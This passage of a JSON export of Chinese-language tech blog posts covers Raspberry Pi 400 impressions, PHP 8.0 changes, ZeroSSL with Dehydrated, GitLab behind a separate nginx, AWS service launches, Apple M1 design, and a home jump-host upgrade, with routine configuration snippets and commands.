    "title": "AWS 推出了 Amazon S3 Storage Lens 可以看 S3 使用的概況"
  },
  {
    "id": "9821",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 看到 <a href=\"https://www.raspberrypi.org/products/raspberry-pi-400/\">Raspberry Pi 400</a> 的使用心得：「<a href=\"https://news.ycombinator.com/item?id=25161266\">I've now played with a Raspberry Pi 400 for a week and here are my conclusions</a>」，先前在「<a href=\"https://blog.gslin.org/archives/2020/11/03/9779/raspberry-pi-400/\">Raspberry Pi 400</a>」這邊有提到 Raspberry Pi 400，主要就是一台 <a href=\"https://www.raspberrypi.org/products/raspberry-pi-4-model-b/\">Raspberry Pi 4 Model B</a> 的主機，但跟鍵盤整合在一起。\r\n\r\n在文章裡提到了 Raspberry Pi 4 可以 USB Boot 後帶來的改變 (參考之前寫的「<a href=\"https://blog.gslin.org/archives/2020/09/20/9716/raspberry-pi-4-%E5%8F%AF%E4%BB%A5%E9%80%8F%E9%81%8E-usb-%E9%96%8B%E6%A9%9F%E4%BA%86/\">Raspberry Pi 4 可以透過 USB 開機了</a>」這篇)，主要是透過 USB3 外接硬碟可以讓讀寫速度大幅提昇 (尤其是 SSD)，這一直都是 <a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> 上面用 SD card 的問題，看起來唯一的問題還是 CPU 的速度還是沒有像目前常見的 x86-64 強。\r\n\r\n<blockquote>If you give it fast enough \"disk\" storage it really moves. I plugged in a Kingston brand 120GB SSD on a USB3 adapter. hdparm -t gave 292MB/s read speed and the default LXDE environment was really crisply responsive, with even a first launch of Chromium taking less than two seconds. With such good storage, the only real limitation is that heavy Javascript stuff is too slow - 5+ seconds to switch between folders in Chrome, or for the thumbnail gallery to appear in Youtube. Also, video calling is marginal. Aside from that the CPU is fast enough.</blockquote>\r\n\r\n另外討論裡面也有人希望 Raspberry Pi 考慮引入 <a href=\"https://en.wikipedia.org/wiki/eMMC\">eMMC</a> 或是提供 <a href=\"https://en.wikipedia.org/wiki/M.2\">M.2</a> 界面改善讀寫速度，不過我覺得 SD card 的設計算是 Raspberry Pi 當初的方向，本來就有取捨，不太可能什麼都做進去...\r\n\r\n回到作者的心得，雖然 USB3 轉 SSD 看起來 i/o 速度快不少，但我好像主要不是遇到 i/o 速度問題，反倒是最近 chromium 的硬體解碼好像有些進度，也許看影片有機會用硬體處理 (至少一部份？)，希望至少可以輕鬆看 1080p60 啊...",
    "title": "在 Hacker News 上看到 Raspberry Pi 400 使用心得"
  },
  {
    "id": "9822",
    "body": "看到 <a href=\"https://wordpress.org/\">WordPress</a> 的這篇「<a href=\"https://make.wordpress.org/core/2020/11/23/wordpress-and-php-8-0/\">WordPress and PHP 8.0</a>」，看起來 <a href=\"https://www.php.net/\">PHP</a> 8.0 快要出了：\r\n\r\n<blockquote>PHP 8.0 is in the final stages of its release cycle. As of the publish date of this post, version 8.0 RC5 has been released, and the final release of PHP 8.0.0 is scheduled for November 26, 2020.</blockquote>\r\n\r\n官網上已經有一些資料可以看了，不過記得畢竟還沒 release，裡面的資訊還有可能會修正：「<a href=\"https://www.php.net/migration80\">Migrating from PHP 7.4.x to PHP 8.0.x</a>」，最重要的應該還是「<a href=\"https://www.php.net/manual/en/migration80.incompatible.php\">Backward Incompatible Changes</a>」這邊，可以看到這次畢竟是主版號升級，精彩的不相容性應該會搞爆不少應用程式，像是開頭就提到的，對數字與文字之間的 <code>==</code> 行為改變：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/seOj7F4.webp\" /> <img src=\"https://i.gslin.com/imgur/seOj7F4.png\" alt=\"\" /></picture>\r\n\r\n比較好的作法是自己先轉型再用 <code>===</code> 比較，這個概念在各家程式語言都類似，loose comparison 只是方便而已...",
    "title": "PHP 8.0 快要出了"
  },
  {
    "id": "9823",
    "body": "在 <a href=\"https://www.facebook.com/\">Facebook</a> 上被朋友敲可以測 <a href=\"https://zerossl.com/\">ZeroSSL</a>，另外一個透過 <a href=\"https://en.wikipedia.org/wiki/Automated_Certificate_Management_Environment\">ACME</a> 協定提供免費的 SSL Certificate，不過目前只有支援單一網域名稱 (DV)：「<a href=\"https://news.ycombinator.com/item?id=25188614\">Another free CA as an alternative to Let's Encrypt (scotthelme.co.uk)</a>」。\r\n\r\n我先前就有在測 ZeroSSL，不過驗證一直過不去，當時有在 <a href=\"https://twitter.com/\">Twitter</a> 上找 ZeroSSL 帳號問，但 ZeroSSL 的人說 ACME 的部份不在客服範圍，就先丟著...\r\n\r\n剛剛發現是自己耍笨了，原因是 <a href=\"https://nginx.org/\">nginx</a> 沒設好造成驗證卡住，一改好後就正常了。\r\n\r\n用 <a href=\"https://www.ssllabs.com/\">SSL Labs</a> 的 <a href=\"https://www.ssllabs.com/ssltest/analyze.html\">SSL Server Test</a> 翻了一下，他的 Root CA 看起來歷史更久，應該是有機會解決 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 明年會產生的 Root CA 憑證信任問題，也就是先前在「<a href=\"https://blog.gslin.org/archives/2020/11/08/9795/lets-encrypt-%E5%9C%A8-android-%E5%B9%B3%E5%8F%B0%E4%B8%8A%E9%81%87%E5%88%B0%E7%9A%84%E5%95%8F%E9%A1%8C/\">Let's Encrypt 在 Android 平台上遇到的問題</a>」提到的問題，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也可以看到有人提到這點：\r\n\r\n<blockquote>Good to know, and I'm glad there's an alternative to Let's Encrypt, just in case. Is ZeroSSL trusted by old Android devices? If so, that might be a work-around for Let's Encrypt's cross-signing from IdenTrust expiring.</blockquote>\r\n\r\n不過也有些人有疑慮，畢竟提供這個服務後面的公司幹過不少壞事：\r\n\r\n<blockquote>If zerossl is reselling/a subsidiary of sectigo, that’s enough reason to never use this.\r\nSectigo is the new name for Comodo. The same bunch of pricks who tried to trademark “Let’s Encrypt”.\r\n\r\nOther players in the acme cert “business” is great. Renaming a slime ball name and carrying on like nothing happened is not ok.</blockquote>\r\n\r\n但看起來至少是多了一個選擇...",
    "title": "ZeroSSL 也提供免費的 SSL Certificate (DV) 了"
  },
  {
    "id": "9824",
    "body": "上一篇「<a href=\"https://blog.gslin.org/archives/2020/11/24/9823/zerossl-%e4%b9%9f%e6%8f%90%e4%be%9b%e5%85%8d%e8%b2%bb%e7%9a%84-ssl-certificate-dv-%e4%ba%86/\">ZeroSSL 也提供免費的 SSL Certificate (DV) 了</a>」提到 <a href=\"https://zerossl.com/\">ZeroSSL</a> 的服務，而各家 acme client 也都陸陸續續支援了。\r\n\r\n<a href=\"https://dehydrated.io/\">Dehydrated</a> 是在 2020/09/15 的時候實做：「<a href=\"https://github.com/dehydrated-io/dehydrated/commit/5fc1175aefd5633cee2e9763a549735e4575a647\">EAB + ZeroSSL support</a>」，我就抓了個新版，更新之前自己包的 PPA <a href=\"https://launchpad.net/~gslin/+archive/ubuntu/dehydrated-lite\">dehydrated-lite</a>...\r\n\r\n<a href=\"https://dehydrated.io/\">Dehydrated</a> 的設定方式還蠻簡單的，在 <code>/etc/dehydrated/config</code> 裡面這樣寫：\r\n\r\n<pre>CA=zerossl\r\nEAB_HMAC_KEY=x\r\nEAB_KID=y\r\n</pre>\r\n\r\n其中兩個 EAB 的資訊可以在 ZeroSSL 網站上面取得，然後其他就照舊跑...",
    "title": "Dehydrated 使用 ZeroSSL 的方式"
  },
  {
    "id": "9825",
    "body": "最近剛好弄家裡跳板機的硬體，蝦皮上弄了一顆 <a href=\"https://www.intel.com/\">Intel</a> <a href=\"https://ark.intel.com/content/www/us/en/ark/products/129944/intel-core-i3-8100t-processor-6m-cache-3-10-ghz.html\">i3-8100T</a> 回來用，這顆標 35W 的 CPU 基本上還是需要個風扇會比較保險，不像先前在弄 Intel <a href=\"https://ark.intel.com/content/www/us/en/ark/products/78867/intel-celeron-processor-j1900-2m-cache-up-to-2-42-ghz.html\">J1900</a> 只有 10W，原廠在上面就放一顆散熱片就搞定了。\r\n\r\n剛好手上有一顆 LGA 115x 的風扇可以用，裝上去後平常就在 35 度，跑個程式讓系統滿載大約 55 度，而且這還是沒有系統風扇的情況下，看起來是夠用了。\r\n\r\n不過因為好奇，還是找了一下無風扇的方案，結果就看到這顆：「<a href=\"https://www.amazon.com/gp/product/B07CZZZ4DQ\">ARCTIC Alpine 12 Passive - Silent Intel CPU Cooler for Intel Sockets 115x and 1200, up to 47 W, Pre-Applied MX-2 Thermal Paste, 95 x 96 mm - Black</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6Y8CLIF.webp\" /><img src=\"https://i.gslin.com/imgur/6Y8CLIF.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/53caLEv.webp\" /><img src=\"https://i.gslin.com/imgur/53caLEv.jpg\" alt=\"\" /></picture>\r\n\r\n這顆在 <a href=\"https://www.ptt.cc/\">Ptt</a> 上有被提過：「<a href=\"https://www.ptt.cc/bbs/PC_Shopping/M.1527123198.A.C1F.html\">[情報] Arctic推出Alpine 12被動式CPU散熱器</a>」，基本上就是個卡個超大顆的散熱片，看描述可以壓 47W 的發熱量，只要機殼內能通風，應該就有機會把溫度壓住？\r\n\r\n之後找機會來玩看看好了...",
    "title": "無風扇系統的 CPU 散熱片"
  },
  {
    "id": "9827",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/network-firewall/\">AWS Network Firewall</a>，可以在 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 層做更多細緻的設定了：「<a href=\"https://aws.amazon.com/blogs/aws/aws-network-firewall-new-managed-firewall-service-in-vpc/\">AWS Network Firewall – New Managed Firewall Service in VPC</a>」。\r\n\r\n本來的 <a href=\"https://docs.aws.amazon.com/vpc/latest/userguide/vpc-network-acls.html\">Network ACLs</a> 的設計也是對 VPC 做過濾，但就是很標準的 stateless filtering：\r\n\r\n<blockquote>Network ACLs are stateless, which means that responses to allowed inbound traffic are subject to the rules for outbound traffic (and vice versa).</blockquote>\r\n\r\n而這次推出的 AWS Network Firewall 引入了 stateful filtering 的能力：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nMCGJRP.webp\" /><img src=\"https://i.gslin.com/imgur/nMCGJRP.png\" alt=\"\" /></picture>\r\n\r\n另外介紹裡面也提到支援 <a href=\"https://suricata-ids.org/\">Suricata</a> 的語法，不過太久沒碰 IDS 這塊了，我只知道 <a href=\"https://en.wikipedia.org/wiki/Snort_(software)\">Snort</a>：\r\n\r\n<blockquote>A stateful rule group with Suricata compatible IPS rules has all settings defined within the Suricata compatible specification. For example, as following is to detect SSH protocol anomalies. For information about Suricata, see the Suricata website.</blockquote>\r\n\r\n目前支援的區域很少，只有 <code>us-east-1</code>、<code>us-west-2</code> 與 <code>eu-west-1</code> 可以用：\r\n\r\n<blockquote>AWS Network Firewall is now available in US East (N. Virginia), US West (Oregon), and Europe (Ireland) Regions. Take a look at the product page, price, and the documentation to learn more.</blockquote>\r\n\r\n另外價錢上不算便宜：「<a href=\"https://aws.amazon.com/network-firewall/pricing/\">AWS Network Firewall Pricing</a>」，比較特別的是用 AWS Network Firewall 的話，包含了免費的 <a href=\"https://docs.aws.amazon.com/vpc/latest/userguide/vpc-nat-gateway.html\">NAT Gateway</a> 額度可以用...\r\n\r\n印象中 Network ACLs 不用另外付費 (找了一下沒找到收費的標準？)，如果可以用 Network ACLs 解決就用 Network ACLs，不能的再考慮用 AWS Network Firewall 吧...",
    "title": "AWS 推出了 AWS Network Firewall"
  },
  {
    "id": "9828",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/managed-workflows-for-apache-airflow/\">Amazon Managed Workflow</a>，把 <a href=\"https://airflow.apache.org/\">Apache Airflow</a> 包成服務：「<a href=\"https://aws.amazon.com/blogs/aws/introducing-amazon-managed-workflows-for-apache-airflow-mwaa/\">Introducing Amazon Managed Workflows for Apache Airflow (MWAA)</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hkjy1XS.webp\" /><img src=\"https://i.gslin.com/imgur/hkjy1XS.png\" alt=\"\" /></picture>\r\n\r\n看起來就是預設提供 HA 架構，然後把設定放到 web 上管理，以及整了 AWS 自家的服務。價錢上看起來不便宜，不過看起來定位主要還是方便用...",
    "title": "AWS 推出 Amazon Managed Workflow，把 Airflow 包成服務"
  },
  {
    "id": "9830",
    "body": "<a href=\"https://canonical.com/\">Canonical</a> 與 <a href=\"https://www.docker.com/\">Docker</a> 合作，推出了一系列 LTS Docker Image：「<a href=\"https://ubuntu.com//blog/canonical-publishes-lts-docker-image-portfolio-on-docker-hub\">Canonical publishes LTS Docker Image Portfolio on Docker Hub</a>」。\r\n\r\n這邊的 LTS 是十年：\r\n\r\n<blockquote>Ten year maintenance commitment on app images provides secure cloud software supply chain</blockquote>\r\n\r\n另外有提到這些 LTS Docker Image 將不受 per-user rate limit 限制：\r\n\r\n<blockquote>Canonical and Docker will collaborate on Docker Official Images and LTS Docker Image Portfolio to bring the best of the two to the community and ecosystem. The entire LTS Docker Image Portfolio will be exempted from per-user rate limits.</blockquote>\r\n\r\n發佈的 image 可以在 <a href=\"https://hub.docker.com/u/ubuntu\">https://hub.docker.com/u/ubuntu</a> 上面翻到，主要就是常見的 server 軟體，算是多一個選擇...",
    "title": "Canonical 與 Docker 合作，推出了一系列 LTS Docker Image"
  },
  {
    "id": "9831",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的文章，在講一人團隊時所設計的技術架構：「<a href=\"https://panelbear.com/blog/tech-stack/\">The Tech Stack of a One-Man SaaS</a>」。這種資訊通常帶有個人偏好，維護成本算是蠻重要的重點，在多人團隊就未必會這樣選，但就拿著爆米花看戲的心態來說應該還 OK。\r\n\r\n像是作者很明顯熟悉 <a href=\"https://www.python.org/\">Python</a>，就可以看到他裡面會列出許多 Python 相關的 toolchain 與維護工具。\r\n\r\n裡面比較有趣的是他對 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 的 K8S 問題很多抱怨了一番，然後換去 <a href=\"https://www.linode.com/\">Linode</a> 後又因為不想要自己管 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 而決定搬到 <a href=\"https://aws.amazon.com/\">AWS</a> 上面，可以用 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 省事... 花錢解決 XD\r\n\r\n算是當短文小說在看...",
    "title": "一人團隊的技術架構"
  },
  {
    "id": "9832",
    "body": "我自己架設的 <a href=\"https://about.gitlab.com/\">GitLab</a> 是透過「<a href=\"https://about.gitlab.com/install/\">Install self-managed GitLab</a>」這邊的方法裝進 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 系統內的 (我在自己的 wiki 上也有整理：「<a href=\"https://wiki.gslin.org/wiki/GitLab\">GitLab</a>」)，他會自己下載所有對應的套件，包括了 <a href=\"https://nginx.org/\">nginx</a>。\r\n\r\n但這樣就直接把 TCP port 80/443 都吃掉了，同一台機器要放其他的 virtual host 就比較麻煩，所以找了些方法讓 GitLab 不要佔用 TCP port 80/443。\r\n\r\n首先是找到這篇，資料有點舊，但裡面關掉 nginx 的方法還算是有用：「<a href=\"https://gist.github.com/atd-schubert/d30998e5d245e993c264\">How to setup gitlab without embedded nginx</a>」。\r\n\r\n現在只要把 <code>/etc/gitlab/gitlab.rb</code> 裡面的：\r\n\r\n<ul>\r\n\t<li><code>nginx['enable']</code> 改成 <code>false</code></li>\r\n\t<li><code>web_server['external_users']</code> 改成 <code>['www-data']</code></li>\r\n</ul>\r\n\r\n然後跑 <code>gitlab-ctl reconfigure</code> 讓他更新設定檔，接下來停掉整個 GitLab 再打開 (或是重開機) 讓 nginx 完全失效就可以了。\r\n\r\n接下來弄好自己的 nginx 以及 HTTPS 設定，這個部份我自己偏好用 <a href=\"https://dehydrated.io/\">dehydrated</a>，其他人會有不同的偏好設法。\r\n\r\n在弄完 nginx 後再來是 <code>proxy_pass</code> 類的資訊要帶進去，這個部份可以參考本來 GitLab 的 nginx 設定檔 (在 <code>/var/opt/gitlab/nginx/conf/</code> 這下面)，其中最重要的就是 GitLab 本身，我們會在 <code>/etc/nginx/conf.d/upstream.conf</code> 裡面寫入對應的 <code>upstream</code> 資訊 (沒這個檔案就自己生一個)：\r\n\r\n<pre>upstream gitlab-workhorse {\r\n    server unix:/var/opt/gitlab/gitlab-workhorse/sockets/socket;\r\n}</pre>\r\n\r\n接下來是在對應的 virtual host 下設定 <code>proxy_pass</code>：\r\n\r\n<pre>    location / {\r\n        proxy_set_header Host $host;\r\n        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\r\n        proxy_set_header X-Forwarded-Proto $scheme;\r\n        proxy_set_header X-Real-IP $remote_addr;\r\n        proxy_pass http://gitlab-workhorse;\r\n    }</pre>\r\n\r\n另外我有啟用 GitLab 提供的 Mattermost，所以也要翻設定導進去：\r\n\r\n<pre>#\r\nupstream gitlab_mattermost {\r\n    server 127.0.0.1:8065;\r\n}</pre>\r\n\r\n與：\r\n\r\n<pre>    location / {\r\n        proxy_set_header Host $host;\r\n        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\r\n        proxy_set_header X-Forwarded-Proto $scheme;\r\n        proxy_set_header X-Real-IP $remote_addr;\r\n        proxy_pass http://gitlab_mattermost;\r\n    }</pre>\r\n\r\n都弄好後叫 nginx 重讀設定，接下來應該就會動了... 然後 TCP port 80/443 也算自由了，要掛其他的網域上去應該都 OK。",
    "title": "關閉 GitLab 的 nginx，使用自己裝的 nginx"
  },
  {
    "id": "9839",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://en.wikipedia.org/wiki/Apple_M1\">Apple M1</a> 為什麼這麼快又省電的解釋，可以當作一種看法：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">1/ In case you were wondering: Apple&#39;s replacement for Intel processors turns out to work really, really well. Some otherwise skeptical techies are calling it &quot;black magic&quot;. It runs Intel code extraordinarily well.</p>&mdash; Robᵉʳᵗ Graham?, provocateur (@ErrataRob) <a href=\"https://twitter.com/ErrataRob/status/1331735383193903104?ref_src=twsrc%5Etfw\">November 25, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n可以在 <a href=\"https://threadreaderapp.com/\">Thread reader</a> 上面讀：「<a href=\"https://threadreaderapp.com/thread/1331735383193903104.html\">Thread by @ErrataRob on Thread Reader App – Thread Reader App</a>」。\r\n\r\n看起來 <a href=\"https://www.apple.com/\">Apple</a> 在規劃的時候就有考慮 x86 模擬問題，所以在記憶體架構上直接實做了對應的模式，大幅降低了當年 <a href=\"https://www.microsoft.com/\">Microsoft</a> 在 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Surface\">Surface</a> 上遇到的問題：\r\n\r\n<blockquote>3/ The biggest hurdle was \"memory-ordering\", the order in which two CPUs see modifications in memory by each other. It's the biggest problem affecting Microsoft's emulation of x86 on their Arm-based \"Surface\" laptops.</blockquote>\r\n\r\n<blockquote>4/ So Apple simply cheated. They added Intel's memory-ordering to their CPU. When running translated x86 code, they switch the mode of the CPU to conform to Intel's memory ordering.</blockquote>\r\n\r\n另外一個比較有趣的架構是，Apple M1 上面的兩個 core 有不同的架構，一顆對效能最佳化，另外一顆對效率最佳化：\r\n\r\n<blockquote>13/ Apple's strategy is to use two processors: one designed to run fast above 3 GHz, and the other to run slow below 2 GHz. Apple calls this their \"performance\" and \"efficiency\" processors. Each optimized to be their best at their goal.</blockquote>\r\n\r\n在 wikipedia 上的介紹也有提到這兩個 core 的不同，像是 L1 cache 的差異 (128KB 與 192KB)，以及功耗的差異：\r\n\r\n<blockquote>The M1 has four high-performance \"Firestorm\" and four energy-efficient \"Icestorm\" cores, providing a configuration similar to ARM big.LITTLE and Intel's Lakefield processors. This combination allows power-use optimizations not possible with Apple–Intel architecture devices. Apple claims the energy-efficient cores use one tenth the power of the high-performance ones. The high-performance cores have 192 KB of instruction cache and 128 KB of data cache and share a 12 MB L2 cache; the energy-efficient cores have a 128 KB instruction cache, 64 KB data cache, and a shared 4 MB L2 cache. The Icestorm \"E cluster\" has a frequency of 0.6–2.064 GHz and a maximum power consumption of 1.3 W. The Firestorm \"P cluster\" has a frequency of 0.6–3.204 GHz and a maximum power consumption of 13.8 W.</blockquote>\r\n\r\n再加上其他架構上的改善 (像是針對 JavaScript 的指令集、L1 的提昇，以及用 <a href=\"https://www.tsmc.com/\">TSMC</a> 最新製程)，累積起來就變成把 <a href=\"https://www.intel.com/\">Intel</a> 版本壓在地上磨蹭的結果了...",
    "title": "Apple M1 的效能與省電原因"
  },
  {
    "id": "9840",
    "body": "從 mailing list 收到 <a href=\"https://www.lighttpd.net/\">lighttpd</a> 出新版的通知信，本來以為是 security fix，結果看了一下發現雖然版號是從 1.4.55 變到 1.4.56，但這個版本支援了 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a>，以及 <a href=\"https://en.wikipedia.org/wiki/Brotli\">Brotli</a> 壓縮：「<a href=\"https://redmine.lighttpd.net/projects/lighttpd/wiki/Release-1_4_56/\">Release-1 4 56 - Lighttpd - lighty labs</a>」。\r\n\r\nlighttpd 應該是我還在學校的時候幫 <a href=\"https://www.pixnet.net/\">PIXNET</a> 用的東西？他跑 <a href=\"https://en.wikipedia.org/wiki/FastCGI\">FastCGI</a> 模式接 <a href=\"https://www.php.net/\">PHP</a> 當時效能還不錯... 現在自己架站的習慣是用 <a href=\"https://nginx.org/\">nginx</a> 了。\r\n\r\n反倒是他當年因為要更方便的支援 FastCGI 而生的 <a href=\"https://github.com/lighttpd/spawn-fcgi\">spawn-fcgi</a> 讓 nginx 與其他專案沿用，後來是各家專案自己都原生支援 FastCGI 或是其他協定，所以重要性就淡了一些...\r\n\r\n這次的更新推出的 HTTP/2 算是補上蠻重要的功能，不知道會對 lighttpd 社群帶來什麼能量...",
    "title": "lighttpd 居然出新版支援 HTTP/2 與 Brotli 了..."
  },
  {
    "id": "9841",
    "body": "算是做個記錄...\r\n\r\n差不多是 2014 年的時候，因為 xDSL 網路的頻寬拉起來比較夠用了，加上當時發生一些事情，而且 <a href=\"https://www.hinet.net/\">HiNet</a> 的 <a href=\"https://en.wikipedia.org/wiki/Point-to-Point_Protocol_over_Ethernet\">PPPoE</a> 可以申請發一個固定 IP (即「非固固 IP」)，所以就用這個功能架了一台小的 server，這樣一來就有一台小的 server 可以用，另外很多 firewall 之類的操作就方便很多。\r\n\r\n當時買的機子是 <a href=\"https://www.gigabyte.com/\">Gigabyte</a> 的 <a href=\"https://www.gigabyte.com/Mini-PcBarebone/GB-XM12-3227-rev-10\">GB-XM12-3227</a>，<a href=\"https://www.intel.com/\">Intel</a> <a href=\"https://ark.intel.com/content/www/us/en/ark/products/72057/intel-core-i3-3227u-processor-3m-cache-1-90-ghz.html\">i3-3227</a> + 4GB RAM + 128GB mSATA SSD：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VbeWkIC.webp\" /><img src=\"https://i.gslin.com/imgur/VbeWkIC.jpg\" alt=\"\" /></picture>\r\n\r\n幾年前 CPU 風扇掛過一次，去淘寶上挖了一顆回來後又可以繼續用。\r\n\r\n不過後來在上面跑的東西愈來愈多，加上現在的軟體開發愈來愈吃各種資源 (就算只是 command line 環境)，i3-3227 的 <a href=\"https://www.cpubenchmark.net/\">CPU Benchmarks</a> 跑分也才 1274，記憶體也只裝了 4GB，跑起來還是愈來愈吃力... 大概在年初的時候就有打算要換，直到看到了這個機殼的影片：\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/Ez6dUWhVkug\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n我買了一個機殼回來 (還找到 $350 含運的店家)，在客廳裝了一台 Intel <a href=\"https://ark.intel.com/content/www/us/en/ark/products/78867/intel-celeron-processor-j1900-2m-cache-up-to-2-42-ghz.html\">J1900</a> + 8GB RAM 的機器接電視用 (不過這又是另外一個故事了)，對這款機殼還算滿意，就再去下了一顆回來...\r\n\r\n接下來就是湊其他的零件了，既然這次要拿來當半個開發機用，上面的等級要好一點，但又不希望太吃電 (畢竟是一直開著的機器)，所以就找了一顆二手的 Intel <a href=\"https://ark.intel.com/content/www/us/en/ark/products/129944/intel-core-i3-8100t-processor-6m-cache-3-10-ghz.html\">i3-8100T</a> (35W，CPU Benchmarks 分數 5319)，然後在 <a href=\"https://24h.pchome.com.tw/\">PChome 24h</a> 上面找了張 <a href=\"https://ark.intel.com/content/www/us/en/ark/products/133348/intel-h310-chipset.html\">H310</a> 的主機板，一個全新的 350W 電源供應器，以及 2*16GB RAM + 500GB SATA SSD。風扇的話是之前 Intel <a href=\"https://ark.intel.com/content/www/us/en/ark/products/75054/intel-xeon-processor-e3-1230-v3-8m-cache-3-30-ghz.html\">E3-1230 v3</a> 留下來的風扇 (現在上面是掛水冷)，扣具的位置是相同的 (LGA115x)，就直接拿來用了。\r\n\r\n弄好後裝個 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04，然後在只有兩顆風扇的環境下 (電源供應器的風扇與 CPU 風扇)，CPU idle 只有 35 度上下，壓測也只有 55 度上下，本來還在糾結後方要不要還是裝個 8cm 系統風扇，後來決定還是放一顆上去好了，用負壓的方式把熱帶出來。\r\n\r\n如果之後真的遇到灰塵太多的問題，再考慮用先前在「<a href=\"https://blog.gslin.org/archives/2020/11/26/9825/%e7%84%a1%e9%a2%a8%e6%89%87%e7%b3%bb%e7%b5%b1%e7%9a%84-cpu-%e6%95%a3%e7%86%b1%e7%89%87/\">無風扇系統的 CPU 散熱片</a>」提到的方案來換：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6Y8CLIF.webp\" /><img src=\"https://i.gslin.com/imgur/6Y8CLIF.png\" alt=\"\" /></picture>\r\n\r\n接下來就是搭車把機器帶老家裝，就順便被老人家餵食：\r\n\r\n<a data-flickr-embed=\"true\" href=\"https://www.flickr.com/photos/gslin/50658731358/in/dateposted-public/\" title=\"回家升級跳板機，然後就被餵食了...\"><img src=\"https://live.staticflickr.com/65535/50658731358_483779b916_z.jpg\" width=\"640\" height=\"480\" alt=\"回家升級跳板機，然後就被餵食了...\"></a><script async src=\"//embedr.flickr.com/assets/client-code.js\" charset=\"utf-8\"></script>\r\n\r\n換完後當然如同預期的速度快不少，接下來應該會考慮把線路升級到 300M/100M (現在只有 100M/40M)，不過看起來 IP 一定會變，就比較麻煩了，之後再看看機會...",
    "title": "升級跳板機"
  },
  {
    "id": "9842",
    "body": "如同在「<a href=\"https://blog.gslin.org/archives/2020/12/01/9841/%e5%8d%87%e7%b4%9a%e8%b7%b3%e6%9d%bf%e6%a9%9f/\">升級跳板機</a>」這邊提到的，這台跳板機是跑 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04，加上需要跑 <a href=\"https://en.wikipedia.org/wiki/Point-to-Point_Protocol_over_Ethernet\">PPPoE</a>，我就遇到透過 PPPoE 拿到的 DNS 無法套用的系統內。\r\n\r\n這點在「<a href=\"https://github.com/systemd/systemd/issues/481\">add pppoe support to systemd-networkd</a>」這邊有被提到，而且看起來 <a href=\"https://www.debian.org/\">Debian</a> 那邊已經套用 patch 上去了，但 Ubuntu 這邊似乎還沒...\r\n\r\n我看了看還是決定先暫時先回頭用 <a href=\"https://packages.ubuntu.com/focal/resolvconf\">resolvconf</a>，可以只用指令解決：\r\n\r\n<pre>sudo apt install -y resolvconf\r\nsudo systemctl disable systemd-resolved</pre>\r\n\r\n然後重開確認後就可以收工...",
    "title": "Ubuntu 20.04 下用 resolvconf 取代 systemd-resolved (因為 PPPoE)"
  },
  {
    "id": "9843",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 用 <a href=\"https://www.apple.com/mac-mini/\">Mac mini</a> 在 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 上推出了 Mac Instance：\r\n\r\n<blockquote>Powered by Mac mini hardware and the AWS Nitro System, you can use Amazon EC2 Mac instances to build, test, package, and sign Xcode applications for the Apple platform including macOS, iOS, iPadOS, tvOS, watchOS, and Safari.</blockquote>\r\n\r\n這批 Mac mini 是 <a href=\"https://www.intel.com/\">Intel</a> i7 的機器：\r\n\r\n<blockquote>The instances feature an 8th generation, 6-core Intel Core i7 (Coffee Lake) processor running at 3.2 GHz, with Turbo Boost up to 4.6 GHz. There’s 32 GiB of memory and access to other AWS services including Amazon Elastic Block Store (EBS), Amazon Elastic File System (EFS), Amazon FSx for Windows File Server, Amazon Simple Storage Service (S3), AWS Systems Manager, and so forth.</blockquote>\r\n\r\n要注意的是最低租用時間是 24 小時：\r\n\r\n<blockquote>Dedicated Hosts – The instances are launched as EC2 Dedicated Hosts with a minimum tenancy of 24 hours. This is largely transparent to you, but it does mean that the instances cannot be used as part of an Auto Scaling Group.</blockquote>\r\n\r\n然後 <a href=\"https://en.wikipedia.org/wiki/Apple_M1\">Apple M1</a> 也在規劃中：\r\n\r\n<blockquote>Apple M1 Chip – EC2 Mac instances with the Apple M1 chip are already in the works, and planned for 2021.</blockquote>\r\n\r\n區域上不多，不過亞洲區居然是新加坡首發：\r\n\r\n<blockquote>You can start using Mac instances in the US East (N. Virginia), US East (Ohio), US West (Oregon), Europe (Ireland), and Asia Pacific (Singapore) Regions today, and check out this video for more information!</blockquote>\r\n\r\n以前是自己用地端的 Mac mini 去接雲端的服務 (有點 worker 